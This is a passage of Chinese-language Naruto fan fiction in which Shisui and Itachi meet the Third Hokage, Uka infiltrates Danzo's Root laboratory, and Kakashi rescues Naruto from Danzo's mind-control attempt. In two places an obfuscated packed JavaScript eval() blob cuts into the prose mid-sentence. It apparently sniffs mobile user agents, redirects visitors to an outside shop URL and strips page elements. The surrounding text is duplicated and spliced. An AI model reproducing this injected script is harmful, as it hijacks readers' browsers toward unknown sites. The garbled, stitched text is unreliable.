止水晃晃脑袋,将思绪收回。现在不是考虑这些的时候。 他低头看着鼬。 “我得先找到羽怀。他刚开万花筒,肯定需要一些时间适应。等他冷静下来,再想眼睛的事。” 鼬沉默了几秒。 然后他撑着床沿,慢慢站起来。他的身体晃了一下,止水立刻扶住他。 “我跟你去。”鼬说。 “你站都站不稳。” “我能走。” 两人对视了几秒。 止水看着鼬的眼睛。那双眼睛依旧漆黑,但能看出来,他的精神仍旧很差。这样的状态别说追人,走路都困难。 “……你能走几步?” 鼬想了想:“三步。” “三步?” “再多可能会吐。” 止水沉默了一秒。 行吧,三步也是走。 “那我背你。” 鼬的眉头动了动。 “……我不是小孩子了。” “你现在连站都站不稳。”止水蹲下身,背对着他,“上来。” 鼬犹豫了一秒。 然后他趴了上去。 止水站起身,掂了掂。 “你比羽怀轻。”他说。 鼬的声音从背后传来,闷闷的:“……你上次背羽怀是什么时候?” “好早好早以前了。那时候他刚被族长收养,走累了就缠着我背。” 止水顿了顿。 “后来他学刀了,就不让背了。说‘我是大人了’。” 鼬没有说话。 止水背着他往外走。 “你知道吗,”止水边走边说,“羽怀第一次拿刀的时候,把刀鞘当成了刀,拔了半天没拔出来。” 鼬:“……那是你的刀?” “对。他后来跟我说‘哥哥你的刀太紧了’。我说‘你拔的是刀鞘’。” 沉默。 然后鼬的声音从背后传来,带着一丝不易察觉的颤抖。 “……他后来,砍了很多人。” 止水的脚步顿了一下。 “嗯。”他说,“我知道。” 止水朝窗外看了一眼。 “我们偷偷去,如果被美琴阿姨发现的话我就完了。” 他的话没有说完。 楼下传来一阵嘈杂声。是有人在喊些什么,脚步声急促,然后是门被推开的声音。 止水愣了一下。 他听见富岳的声音从楼下传来,很沉,带着某种凝重的意味。 “三代目。” 止水的眉头动了动。 他看向鼬。鼬也看着他。 “三代来了。”止水说。 鼬点头。 “你的眼睛……”止水看了一眼鼬的脸,“能不能装出没事的样子?” 鼬面无表情地看着他。 “我平时就是没事的样子。” 止水想了想。 也是,鼬平时就长这样,现在脸上的血迹被擦干,看起来只是有些疲惫而已。 暗部忍者疲惫一些很正常。 “行,那走吧。” 他扶着鼬,慢慢往外走。 走了两步,鼬突然开口:“止水。” “嗯?” “你现在看起来……比我惨。” 止水低头看了看自己。衣服湿透,鞋子也还没穿,裤腿上全是泥点子。 事情发生的有些突然,他都没时间给自己整理一下。 “……谢谢提醒。” “不客气。” 止水把鼬放下,转而扶着鼬,慢慢走出房间。他们沿着走廊往前走,下楼,走向客厅。 客厅里的灯更亮了。 纸门大开,里面的情景一览无余。 宇智波富岳坐在主位上,面前摆着重新沏好的茶。几名长老站在他两侧,神情严肃。他们对面的位置空着,但位置前正站着一个人。 正是三代火影,猿飞日斩。 三代火影穿着便服,没有带护卫。他就那么站在那里,像个普通的老头,但那双眼睛扫过客厅时,带着一种穿透性的力量。 止水和鼬走进客厅。 三代的目光落在止水身上。 那一瞬间,他的表情变了一下。 很短暂,短暂得几乎察觉不到。但止水看见了。那是一种混合了震惊、意外,还有一丝如释重负的复杂神情。然后那张脸迅速恢复了平静,像是戴上了一张面具。 “止水。”三代开口,声音有些沙哑,“辛苦你了。” 止水在客厅中央站定,微微躬身。 “三代目。”他说。 鼬也跟着行礼,但他的身体晃了一下,止水立刻扶住他的手臂。 三代的目光在他们两人身上转了一圈,最后落回止水脸上。 “坐。”他说。 虽说是在宇智波族地的族长宅中,但仿佛三代火影才是这里的主人。 富岳也没有反对的意思,只是侧头看了眼下来的两人。 止水扶着鼬,在侧面坐下。那个位置正好在富岳和三代之间,像是刻意安排的。 客厅里安静了几秒。 几道目光在空中交汇。富岳看着三代,三代看着止水,长老们互相交换眼神,又迅速移开。 气氛凝滞得像一块冰。 先前富岳在族地中的讲话,基本上可以算是叛乱动员大会了。只不过是因为止水的到来让这场大会变得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“三代目。”他开口,声音有些干涩,“羽怀他……” “我知道。”三代说,“他去杀团藏了。” 客厅里又是一阵沉默。 富岳端起茶杯,抿了一口。他能听出三代火影的弦外之音,他已经将羽怀的事情定性为了孩子的任性了。 他不会追究这件事,不会将其定义为叛忍。 三代继续说:“火影大楼那边,在富岳离开之后,发生了点事。” 所有人的目光都集中到他身上。 “团藏的话,我们不信。”三代说,“还有鸣人的事情,我们的第一怀疑对象其实也是团藏。所以富岳走后,我和自来也想直接把团藏拿下。” 他顿了顿。 “但这时候,大蛇丸出现了。” 止水的眉头皱了起来。 “他袭击了火影大楼。”三代说,“只是分身。但威力不小。” 富岳的眉头也皱了起来。 “大蛇丸?”他问。 “嗯。”三代点头,“自来也和我很快识破了那是分身,但我们不能让他在木叶搞破坏。解决他花了点时间。” 他看向止水。 “等我们处理完大蛇丸,团藏已经不见了。” 止水沉默了几秒。 就像他能请自来也回来帮忙一样,团藏也可以请大蛇丸。 不过大蛇丸终归是叛忍,团藏的这种操作其实已经将自己推到危险的边缘了。 而且大蛇丸可不是什么甘愿当棋子的货色,到最后可能反而是团藏要吃亏。 比起团藏,也许大蛇丸的威胁更大。 “所以我现在来,”三代的声音把他拉回现实,“是想请宇智波帮忙。” 富岳看着他。 “帮忙?” “帮忙找到羽怀。”三代说,“把他带回来。至于团藏……” 他顿了顿。 “团藏会由我们处理,如果他还活着的话。” 止水的嘴唇动了动。但他什么都没说。 因为他知道,三代说的不是杀掉,不是“抓回来”。 而是“带回来”。 这样已经足够了。 “本来应该和自来也一起来。”三代继续说,“但他要坐镇木叶。大蛇丸可能还有后手。” 他看向止水。 “止水,你能去吗?” 止水深吸一口气。 “我能。”他说。 三代点了点头。 然后他看向富岳。 “富岳族长,”他说,“这件事之后,我会再次从火影的位置上退下来。” 富岳的眉头动了动。早在火影最开始道歉的那一刻,他就已经猜到了,现在也不算吃惊。 “自来也会暂代。”三代说,“其他的,等事情结束后再谈。” 客厅里安静得只剩下呼吸声。 退位。 暂代。 等事情结束后再谈。 这几句话说得轻飘飘的,但所有人都听懂了背后的意思。 三代在用他的政治生命,为这件事兜底。 他用退位来表明态度:团藏做的事,木叶高层不认。他用自来也暂代来保证过渡期的稳定。他用“等事情结束后再谈”来给宇智波一个承诺—— 会有结果的。 会有交代的。 会有补偿的。 富岳沉默了很久。 最后他端起茶杯,对着三代举了举。 “三代目,”他说,“我们宇智波一族也是村子的一份子,为木叶奉献本就是我们的分内之事。” 三代也坐了下来,端起面前的茶杯。 他露出了一个微笑。 “镜的后代,”他说,“我不会让他们吃亏。” 止水站起身。 “三代目,”他说,“我现在就去。” 三代看着他。 “你的眼睛……” “没问题。”止水说,“能找到。” 他转身,准备离开。 但一只手拉住了他的衣角。 止水低头,看见鼬站在他身边。那张苍白的脸对着他,那双眼睛里流露出少见的情绪。 “我跟你去。”鼬说。 “你……” “我能走。” 两人对视了几秒。 止水看见鼬的眼睛里有什么东西在燃烧。不是愤怒,不是冲动,是一种更深沉的东西。那种东西他也有。 那是责任。 是不能再失去任何一个家人的责任。 止水点了点头。 “好。” 虽然鼬现在的状态很差,但要说战斗力,无论是万花筒的瞳术还是基本的手里剑术,解决几个上忍问题还是不大的。 而他也可以背着鼬,鼬在他背上施展幻术就行了。 止水和鼬离开的族长宅。 月光照在庭院里,照出两人的身影。 “上次背你好像还是你九岁的时候,你的脚崴了。”止水说,语气里带着一丝怀念,“现在都这么大了。” 鼬沉默了两秒。 “……羽怀之前背我的时候,说我比想象的重。” 止水脚步顿了一下。 “然后呢?” “然后他说‘吃什么长大的’。” 客厅里,三代和富岳对坐着。 三代面前的那杯茶还放在矮桌上,凉透了,没被动过。 三代的目光越过窗户,落向那两个渐行渐远的背影。 “镜,”他低声说,“抱歉。” 富岳没有接话。 他只是端起那杯凉茶,一口一口地喝完了。 18.第 18 章 宇智波羽怀站在树冠的阴影里,透过枝叶的缝隙看着远处那座隐藏在岩壁下的建筑。 说是建筑,其实更像是一个被掏空的山腹。入口伪装成普通的岩壁,只有靠近到二十米内才能发现那道几乎和岩石纹理融为一体的铁门。周围布置了至少三层警戒结界,树上、地下、岩缝里,到处都有查克拉的气息。 但布置的技巧非常高明,并不是让人完全感觉不到,而是让人以为这里存在着一个木叶忍者换班的临时据点。 这里是属于根部的秘密实验室。 宇智波斑或者说带土,最后还是给了他情报。 他一路潜入过来,凭借任务经验和万花筒写轮眼的能力穿过了外围的警戒线,没有惊动任何人。 ——好吧,差点惊动了。 就在刚才,他穿过第三道结界的时候,脚下踩到了一根枯枝。 “咔嚓。” 那声脆响在寂静的夜里格外刺耳。羽怀整个人僵在树冠上,像一尊石像。 两名根部忍者从树下走过。其中一个抬头看了看天:“要下雨了?” 另一个也抬头:“嗯,走吧。话说,今晚吃什么?” “不知道,总之比上次的兵粮丸好吃。” “蠢货,你上次吃的不是兵粮丸,只是泥巴丸而已。” 然后两人就这么走了。 羽怀无声地松了口气,在心里默默记了一笔:根部,伙食水平,不如暗部。 他正准备继续前进,脚下一滑,整个人无声地从树上滑落,屁股着地。 好在没有声音。 羽怀面无表情地站起来,拍了拍裤子上的泥土,继续往前走。 身体已经有些疲惫了,也许是万花筒的缘故,累得比以往快得多。 正当他准备继续潜入时,他的感知捕捉到了一丝异样。 “羽怀君看起来心情不太好。”大蛇丸从阴影里走出来,苍白的脸上挂着惯常的笑容,“是因为最后还是要和我合作吗?” 羽怀没说话。他只是把刀从肩上卸下来,刀尖抵着地面,视线越过面前的人,落向那条深不见底的地道。 他确实不爽。 非常不爽。 从木叶一路追出来,杀了二十多个根部,开了万花筒,甚至跟那个自称宇智波斑的家伙对了一刀。结果绕了一大圈,最后还是要站在这,跟这个他砍过一次的家伙谈合作。 “我没有和你合作。”羽怀终于开口,声音很平,“你是晓组织的成员,对吧。” 大蛇丸的笑容深了一点。 “羽怀君果然敏锐。”他说,“确实,这次请你合作的不是我,而是晓组织。我只是代为传达。” 羽怀看着他。 “情报已经给了。”羽怀说,“你来干什么?” 大蛇丸没有立刻回答。他从树上跳下来,落在羽怀身边,和羽怀并肩站着,看向远处那座实验室。他的动作很轻,轻得像一片落叶,没有发出任何声音。 “羽怀君。”他开口了,声音依然带着那种黏腻的质感,“与我合作就这么让你……不舒服?” 羽怀的眉头动了动。 他没有说话。 准确来讲,与大蛇丸合作并不是什么特别的糟糕的选项,他不是那种天真浪漫的小孩子,他是一名专业的忍者。 大蛇丸最大的污点,对忍者而言,并不是做什么人体实验,有违道德伦理之类的,而是背叛木叶。 而这一点对目前的羽怀来说也不是问题,反正他也背叛了。 他之所以不想和大蛇丸合作原因也很简单。大蛇丸的代价他给不了。 他身上能有什么是大蛇丸感兴趣的? 大概就是宇智波一族的血迹限界了,而且不是一般的那种。 那么答案就很明显了,那就是万花筒写轮眼了。 但无论是自己的还是止水和鼬的,他都不能给大蛇丸。 所以,从火影办公室出来,到止水家,到现在。他一路都在避开大蛇丸,不想和这个人有任何牵扯。但兜兜转转,最后他还是站在这里,和大蛇丸并肩看着同一个方向。 “说吧,晓想要什么?” “不需要。”大蛇丸摊开手,那双竖瞳里闪过一丝玩味,“你杀了那么多根部,吸引了木叶大半的注意力,帮我们牵制了团藏的后手。严格来说,你已经付过报酬了。” 羽怀没有接话。 他在心里冷笑了一声。 不需要报酬? 骗鬼。 就自己那交涉的态度,晓组织肯定不介意给自己的背上来一刀的。 不过话说回来,对于晓组织的情报羽怀基本上是信任的。 双方的利益是一致的,就像大蛇丸说的那样,晓组织其实也希望木叶能损失一些战力,好让他们能从中浑水摸鱼。 从理性的角度考虑,双方合作是正确的。 但晓组织肯定会在情报里挖坑。毕竟羽怀不是晓组织成员,并且合作时表现的非常强势,所以对他们而言,最好能将羽怀和团藏一起坑死。 而抛开晓组织的身份不谈,大蛇丸本人可能就不是这么想的了,他如果想要写轮眼,无论是止水的还是羽怀的,都需要保证羽怀能活着击杀团藏。 否则他宇智波羽怀就算毁了自己的眼睛也不会留给别人的。 也许,他该给自己留个后手。 “团藏在里面?” “就在里面。”大蛇丸侧过身,做了个请的手势,“需要我带你下去吗?” 羽怀没有动。 他站在原地,视线盯着那个洞口,握着刀柄的手指收紧了又松开。 刚才那一路追杀,他已经用了太多次万花筒。 第一次是在族地外砍那些根部。第二次是和那个自称宇智波斑的家伙对刀。还有路上遇到的两波拦截,他又用了两次。 左眼在疼。 不是那种尖锐的刺痛,而是一种钝钝的、从眼球深处往外涌的胀痛。瞳力像被抽干的井,每次调动都带着一种干涸的撕裂感。 而且他还发现了一件事。 他的视力在下降。 很轻微,轻微得几乎察觉不到。但他确实感觉到了。左眼看东西的边缘,有一点模糊,像是隔着一层薄薄的水雾。 这就是万花筒的代价吗? 羽怀垂下眼睑,将那一瞬间的情绪压下去。 大蛇丸的声音从旁边传来。 “羽怀君的万花筒写轮眼,刚开眼就能用到这个程度,确实令人惊叹。” 羽怀的眉头动了一下。 “但据我所知,”大蛇丸继续说,那双竖瞳微微眯起,“万花筒用得越多,对身体的负担就越大。尤其是刚开眼的时候,瞳力还不稳定,消耗起来……” 他顿了顿。 “比平时快得多。” 羽怀转过头,盯着他。 “你想说什么?” 大蛇丸没有立刻回答。他只是站在那里,任由羽怀的目光落在自己身上。月光从洞口上方照下来,照在他苍白的脸上,照出那双竖瞳里一闪而过的光。 “我是想说,”大蛇丸开口,声音慢条斯理,“羽怀君现在,还能再用几次?” 羽怀的瞳孔微微收缩。 被看穿了。 他的手指收紧,刀身微微抬起,但下一瞬又压了下去。 大蛇丸看见了他的动作,笑容更深了。 “别误会,我没有恶意。”他说,“只是好心提醒。团藏那家伙虽然实力不怎么样,但保命的手段不少。羽怀君如果因为瞳力耗尽栽在他手里,那可就……” “管好你自己。” 羽怀的声音很轻,轻得像一片落叶,却硬生生打断了大蛇丸的话。 他抬起眼睛,看着面前这个比他高出一大截的男人。月光照进他的眼睛里,照不出任何情绪。 “再多说一句,”他说,“我现在就砍了你。” 大蛇丸愣了一下。 然后他笑了。不是那种黏腻的笑,而是一种更真实的、像是看见了什么有趣东西的笑。 “好,好。”他退后一步,做了个请的手势,“我不说了。羽怀君请便。” 羽怀收回目光,深吸一口气。 左眼的胀痛还在。但他没有时间管这些了。 不过,他和大蛇丸的交谈,让他听出了一些别的东西。 大蛇丸的目的,似乎并不是写轮眼。 不再多想,羽怀握紧刀柄,走向那条地道。 “当然,我的合作邀请依然有效。”大蛇丸的声音从后方传来,带着些许的调侃意味。 羽怀的嘴角动了动。但终究还是没有说什么。 但在他走进地道前,还是头也不回地甩了一句:“你刚才站的那个位置,正好是我撒过‘忍者专用驱虫粉’的地方。” 大蛇丸低头看了看自己的鞋,笑容微僵。 “开玩笑的。”羽怀的声音从地道里飘出来,“我没那东西。” 大蛇丸:“……” 他站在月光下,看着那个小小的身影消失在黑暗中,沉默了许久。 “你比你哥哥鼬难缠多了。”他轻声说。 地道里没有回应。 大蛇丸叹了口气,靠在树上,从袖子里掏出一个饭团,慢条斯理地咬了一口。 地下实验室深处,灯光昏暗。 志村团藏站在一张手术台前,背对着入口。他身上的御神袍已经脱了,只穿着里层的深色和服。右手缠着绷带,左手垂在身侧。 他面前的台子上,坐着一个人。 准确来说,是一个孩子。 漩涡鸣人坐在手术台边缘,两条腿悬空晃荡着。他的衣服还是那件脏兮兮的橙色运动服,脸上有几道干涸的泥痕,金色的头发乱糟糟地翘着。 他看着团藏,蓝色的眼睛里满是好奇。 团藏开始解左眼的绷带。一圈,两圈,三圈……绷带缠得比想象中多。 看着地上的绷带,鸣人忍不住好奇询问:“爷爷,你绑了多少圈?” 团藏的手顿了一下。“……很多。” 鸣人歪着头:“我上次摔伤了胳膊,自己缠绷带的时候,因为缠得太紧,手都紫了。爷爷你的眼睛不疼吗?” 团藏没有回答。他继续解着绷带。 绷带终于解开,露出他眼眶中猩红色的写轮眼。三颗黑色的勾玉在瞳孔周围缓缓旋转,在灯光下泛着妖异的光。 鸣人盯着看了两秒,却并不觉得惊讶:“哦,就是这种眼睛。佐助的哥哥也有。” 团藏的眉头动了一下。 鸣人又问:“可是佐助的哥哥的眼睛是黑色的,只有生气的时候才变红。爷爷你是不是也生气了?” “我没有生气。” “那你为什么一直瞪我?我脸上有东西吗?” 团藏深吸一口气。他决定跳过这个话题。 “我之前说我认识你的父亲,你现在不好奇吗。” “好奇,当然好奇。”鸣人摆出一副乖乖听话的模样。 “你父亲叫波风水门。”他开口了,声音低沉而平稳,“是四代目火影。” 鸣人的眼睛亮了一下。 “那他会飞雷神!”他说,“火影爷爷说那是一种可以瞬间移动的忍术!” “嗯。” “那他移动的时候会不会头晕?我转圈都会晕。” 团藏沉默了一秒。“……不会。” “那他好厉害。”鸣人顿了顿,“那他会做家务吗?比如洗碗?” 团藏的表情出现了肉眼可见的裂纹。 他活了这么多年,第一次有人问他四代目火影会不会洗碗。 “……大概,会吧。”他说,“不过他有更重要的事要做。” “哦。”鸣人点点头,又问,“那我妈妈呢?她会洗碗吗?” 团藏决定不再回答这个问题。 “你母亲叫漩涡玖辛奈。”他说,语速比刚才快了一点,“是上一任九尾人柱力。” 鸣人的嘴巴张开了。但没有说话,他确实很想知道关于父母的信息。虽然他其实并不知道九尾人柱力是什么意思,但和母亲相关的消息,他都爱听。 “他们……”团藏顿了顿,那只正常的眼睛里闪过一丝什么,“是为了保护木叶牺牲的英雄。” 英雄。 鸣人眨了眨眼睛。 这个词他听过。在忍者学校,老师讲到历代火影的时候会提到这个词。在街上,大人们说起战争的时候也会提到这个词。但从来没有人用这个词形容过他的父母。 “那他们……”鸣人的声音低落下来,“他们怎么死的?” 团藏看着面前这个孩子。 那张小脸上,蓝色的眼睛里满是渴望和不安。那是每一个没有父母的孩子都会有的表情。他在太多孤儿身上见过。 “因为九尾。”团藏说,“九尾原本被封印在你母亲体内。但在你出生的那天晚上,有人用写轮眼控制了九尾,让它暴走。” 鸣人的呼吸停了一瞬。 “你父母拼尽全力,最后将九尾封印在你体内。”团藏的声音没有任何起伏,像是在陈述一个事实,“代价就是,他们的生命。” 沉默。 鸣人站在那里,一动不动。 他想起那些夜晚,一个人躺在空荡荡的屋子里,盯着天花板发呆。他想起那些白天,一个人在街上走,所有人都避开他,像是他身上有什么脏东西。他想起了到了学校,也就是交成绩单的日子,别人的本子上有家长签字,他的本子上什么都没有。 他想起了佐助。 那个今天下午站在他面前的男孩,一脸嫌弃地和他说话,旁边站着他哥哥。 那个哥哥的手放在佐助头上,揉了揉,把他接走了。 佐助有哥哥,还有家人和族人。 有会接他放学的哥哥,有会给他买礼物的哥哥,有会背他回家的哥哥。 他呢? 他什么都没有。 “所以……”鸣人的声音很轻,轻得像是怕惊扰什么,“我的爸爸妈妈……是为了保护我,才死的?” 团藏看着他。 几秒后,他点了点头。 “是的。” 鸣人的眼眶红了。但他没有哭。他只是站在那里,攥紧了小拳头,拼命忍着那些快要涌出来的东西。 团藏没有催促。他只是蹲在那里,看着这个孩子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386497|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “九尾那次暴走。”他开口了,声音放得更缓,“不是意外。是有人故意做的。” 鸣人抬起头。 “谁?” “宇智波。”团藏说,“能控制九尾的,只有写轮眼。而当时能做到这件事的,只有宇智波一族。” 鸣人的眉头皱了起来。他不太懂这些,但他听懂了一个词。 宇智波。 “那个……”他开口,“佐助他们家?” 团藏的嘴角弯了一下。 那是笑容。 “你认识佐助?”他问。 鸣人点了点头。 “他是我同学。”他说,声音还带着一点哽咽,“他哥哥很厉害。今天下午……他们帮了我。” 团藏的眼睛眯了一下。 很短暂。 “宇智波一族的人。”他说,“确实很厉害。可惜……” 他顿了顿。 “他们现在准备叛乱了。” 鸣人愣住了。 “叛乱?” “就是要攻击木叶。”团藏说,“要死很多的人。” 鸣人的嘴巴张开了。 “为……为什么?” “因为他们想要更多权力。”团藏说,“想要控制村子。九尾那次的事,我一直想查清楚。可惜……他们做得确实隐蔽,而现在他们要狗急跳墙了。” 鸣人的脑子有些转不过来。他太小了,这些东西对他而言太复杂。但他听懂了一件事。 这个爷爷是爸爸妈妈的朋友。 这个爷爷在查那些害死爸爸妈妈的坏人。 这个爷爷是好人。 但他的直觉却给了他完全相反的结论。 这个爷爷在撒谎。 “爷爷,”鸣人开口,声音里带着一种孩子特有的认真,“你……你是好人,对不对?” 团藏没有立刻回答。 他蹲在那里,看着面前这个孩子。那双蓝色的眼睛里满是信任,满是渴望,满是一个孤儿对“被保护”的全部幻想。 “是的。”他说。 鸣人的脸上露出了笑容。 那是他今天第一次笑。 从下午被人围殴,到一个人在街上走,到这个阴森森的地下室,到现在,他终于笑了。 而就在这一刻。 团藏的眼睛变了。 那只写轮眼里,三颗勾勾玉开始旋转。越转越快,越转越快,最后连成一片,形成一个诡异的图案。 万花筒写轮眼。 别天神。能够悄无声息改变别人意志的幻术。 瞳术发动的瞬间,鸣人的身体僵了一下。 他的眼睛里,倒映出那只万花筒的图案。那图案在放大,在深入,像一根无形的针,刺进他的脑海深处。 然后,一道白光出现。 在鸣人意识的深处,突然亮起一道白光。 那白光太快,太亮,像是……像是刀芒。 像是今天下午,在那个小树林里,他从那个哥哥的刀上看见的刀芒。 “咦?” 鸣人听见自己发出一声轻呼。 那白光只是一闪,然后就消失了。但就在那一瞬间,他感觉有什么东西从他脑海里被挡了一下。 团藏的眉头动了动。 瞳术发动失败? 不是九尾导致的,那是什么原因? 不,不是失败。更像是被什么东西给抵消了? 他眯起眼睛,盯着面前这个孩子。那双蓝色的眼睛里,除了困惑,什么都没有。 没有反应?不过影响不大。 普通的幻术……足够了。 团藏的左眼依然泛着红光。 三勾玉缓缓旋转,这一次没有万花筒的图案,只是最基础的催眠幻术。那股力量顺着目光无声地渗入,比刚才轻柔得多,也隐蔽得多。 没有白光阻挡。 鸣人的眼神从清明变得空洞,又从空洞变得“清明”。 他眨眨眼,看着团藏,脸上慢慢浮现出一个笑容。 “团藏爷爷……”鸣人的声音软软的,带着孩子特有的天真,“我明白了。你是爸爸妈妈的朋友,是值得信任的人。” 他笑了。 那是毫无保留的、信任的笑容。 但在他笑容的最深处,在那片被强行植入的记忆的缝隙里,有一道极淡的白光,一闪而过。 团藏没有注意到。 他正要开口说什么的时候。 “噗嗤。” 刀刃刺穿身体的声音传来。 团藏低下头,看见一截刀尖从自己腹部穿出来。刀身上沾着血,在昏暗的灯光下泛着暗红色的光。 他身后站着一个人。 银色的头发,面罩遮住下半张脸,一只眼睛眯成月牙形,另一只眼睛被护额遮住。 旗木卡卡西。 “鸣人。”卡卡西开口,声音平静得像在问今天吃什么,“闭上眼睛。” 鸣人下意识地闭上眼睛。 团藏的身体晃了晃。 但他没有倒。 他只是站在那里,低头看着那截从腹部穿出来的刀尖。鲜血沿着刀刃往下流,滴落在地上,发出轻微的啪嗒声。 卡卡西的手腕一翻,准备将刀抽出来,再补一刀。 下一瞬。 一只手从他背后穿过来,直接捅穿了他的侧腰。 卡卡西低头,看见那只沾满血的手从自己腹部透出,手指上还挂着几缕撕裂的布料。 身后传来团藏的声音。 “旗木卡卡西。”那声音平淡得像在陈述事实,“我一直都很看好你,但你还是年轻了些。” 卡卡西的身体晃了晃。 砰。 卡卡西的身体化作白烟炸开。 团藏的手从烟雾中穿过,什么也没抓住。 他的瞳孔微微收缩。 影分身? “鸣人!” 另一道声音从实验室另一端的阴影里响起。卡卡西的身影从那里冲出来,一手揽住鸣人,另一只手甩出三枚苦无。 苦无钉在地上,什么也没打到。 但卡卡西已经带着鸣人冲进了通道。 团藏站在原地,看着那个方向。 腹部的伤口还在流血。他伸手摸了摸,触到满手温热。那个影分身的刀刺得很准,位置正好在肝脏。 换个人,已经死了。 但他的身体只是晃了晃,伤口就开始愈合。鲜血倒流,皮肉翻卷,眨眼间恢复如初。 团藏抬起右臂。 绷带下面,有一颗眼睛正在缓缓闭合,瞳孔涣散,彻底失去光泽。 这是伊邪那岐。宇智波一族的秘术,以一颗三勾玉写轮眼永久失明为代价,获得改写现实的力量。 他也是靠的这一招,才成功偷袭了宇智波止水。 团藏放下手臂,活动了一下手指。剩余的九颗眼睛还在,足够他再用九次。 那只从止水眼眶里挖来的眼睛,此刻还稳稳地嵌在他左眼眶中。三颗勾玉在灯光下缓缓旋转,完好无损。 “可惜了。”他说,不知是说那颗消耗掉的眼睛,还是说跑掉的九尾人柱力。 19.第 19 章 地下研究所深处,灯光比上层更暗。 通道两侧是一排排玻璃罐,泡着各种说不出名字的东西。 宇智波羽怀走在通道中央,刀尖抵着地面。 血沿着刀刃往下流,一滴一滴落在金属地板上。 他的身后则是一条血路。 他没数杀了多少个。从入口到这里,只要穿着根部制服的,都倒了。有些是一刀毙命,有些是被砍断四肢后扔在一边,那些是问过话的。 问出来的结果都一样:团藏在最底层。 他继续往前走。脚步很稳,呼吸很稳,握刀的手很稳。 然而此时,通道尽头又传来了脚步声。 羽怀停下,刀微微抬起。 然后他就看见了那道银色的头发的身影。 卡卡西从拐角处冲了出来,他的怀里抱着一个孩子。在他看见羽怀的瞬间,脚步顿了一下。 “小羽怀?” 羽怀也愣住了。 他没想到会遇到卡卡西,还有他怀里那个金发小孩,也就是鸣人。 鸣人从卡卡西怀里探出头,在他看见羽怀的瞬间,眼睛就亮了起来。 “哥哥!”他喊了一声,挣开卡卡西的手,落地就往这边跑。 羽怀下意识往后退了一步。 但他没来得及躲开。鸣人已经跑到他面前,仰着头看他,脸上带着笑。 “哥哥你也来救我了?” 羽怀低头看着他。 那张小脸上还有泥痕,衣服还是那件脏兮兮的橙色运动服,但眼睛很亮。那双蓝色的眼睛正盯着他,里面没有恐惧,只有一种孩子特有的、直愣愣的信任。 “我——”羽怀开口,又顿住。 他抬起头,看向卡卡西。 “你不是去给我们买夜宵了吗?” 他的语气很平,但话里带着一点刺。 卡卡西走过来,站在鸣人身后。那只独眼弯了弯。 “计划有变。”他说,“夜宵改天再补。” 羽怀没接话。 卡卡西的目光落在他的身上,落在那张沾满血的小脸上,落在那把还在滴血的刀上,最后落在了他的额头上。 是木叶护额。但上面出现了一道横向的划痕,从左到右,把代表木叶的图案一分为二。 羽怀察觉到他的视线,下意识抬起手,想把护额摘下来。 “藏什么?”卡卡西开口,语气懒洋洋的,“我也有。” 他指了指自己的护额。斜戴着,遮住左眼。 “木叶忍者标配。” 羽怀的动作停住了。 他盯着卡卡西,盯着那张面罩上方的独眼。那只眼睛弯着,像是在笑。 “划得还挺直的。”卡卡西补了一句。 羽怀不知道该说什么。 他确实没想宣扬自己叛村的事情。叛村是他自己的事,没必要让更多人知道。遇到卡卡西是意外,虽然现在想想也不算意外。毕竟团藏一直对九尾人柱力图谋不轨,卡卡西追踪鸣人过来,很正常。 但被熟人看见自己这副样子,还是有些尴尬。 按照惯例,自己是不是应该喊着“我要斩断这可笑的羁绊”之类的话然后把卡卡西打晕呢? 想了想还是觉得太幼稚了。 “你怎么找到这的?”羽怀问。 这是句为了转移话题的废话。 “忍犬。”卡卡西说,“团藏的人带走鸣人的时候,我留了记号。” 羽怀低头看向鸣人。 鸣人正仰着脸看他,那双蓝色的眼睛亮晶晶的。 “那个爷爷,”鸣人开口,眉头微微皱着,“他说他是我爸爸妈妈的朋友。” 羽怀的眉头动了动。 “你信了?” 鸣人摇摇头。 “没有。” 卡卡西低头看他,眼里闪过一丝意外。 “为什么?”羽怀问。 鸣人想了想,像是在组织语言。 “他说话的时候……感觉不对。”他说,“我说不上来。就是感觉不对。” 他顿了顿。 “就像下午哥哥救我一样。哥哥的刀光很快,但我感觉那是好的。那个爷爷,他说的都是好的话,但我感觉不好。” 羽怀沉默了。 他看着这个孩子,看着那张认真的小脸。 “所以你是在骗他?” “嗯。”鸣人点点头,“他问什么我就答什么。他说他是好人,我就点头。但我没信。” 羽怀没有说话。 “而且,”鸣人继续说,“他的眼睛和哥哥的眼睛不一样。” 他指了指自己的左眼。 “哥哥的眼睛是红色的,但是……很暖。他的眼睛也是红色的,但是很冷,而且很不对劲。就好像是后来装上去的一样。” 羽怀的手指动了动。 红色。冷。 鸣人的直觉敏锐得可怕。 那是止水的眼睛,并不属于团藏。 “你怎么知道——” “感觉。”鸣人说,“就像下午看见哥哥的刀光一样。那道白光,我记得。” 羽怀看着他。 这个孩子,用“感觉”判断一切。 而他的感觉,是对的。 “团藏就在前面。”卡卡西开口道。 “嗯。” “你要去找他?” 羽怀看着他,没有说话。 卡卡西和他对视了两秒。 然后他点了点头。 他没有阻止的意思。先前他的话也表明了他的立场,他甚至不打算将羽怀当做叛忍。 “鸣人,”他低头说,“我们走了。” 鸣人抬起头。 “哥哥不一起走吗?” “他还有事。忙完后再回去。” 鸣人看了看卡卡西,又看了看羽怀。然后他松开羽怀的衣角,不知道什么时候攥上去的,然后往后退了一步。 “那哥哥要小心。”他说,“那个爷爷很坏,还一直用眼睛瞪我。” 羽怀看着他。 “我会的。” 鸣人露出一个笑容。 “那我们出去等。”他说,“哥哥办完事要出来哦。” 然后他转身,跑回卡卡西身边。 卡卡西抱起他,看了羽怀一眼。 “活着出来。” 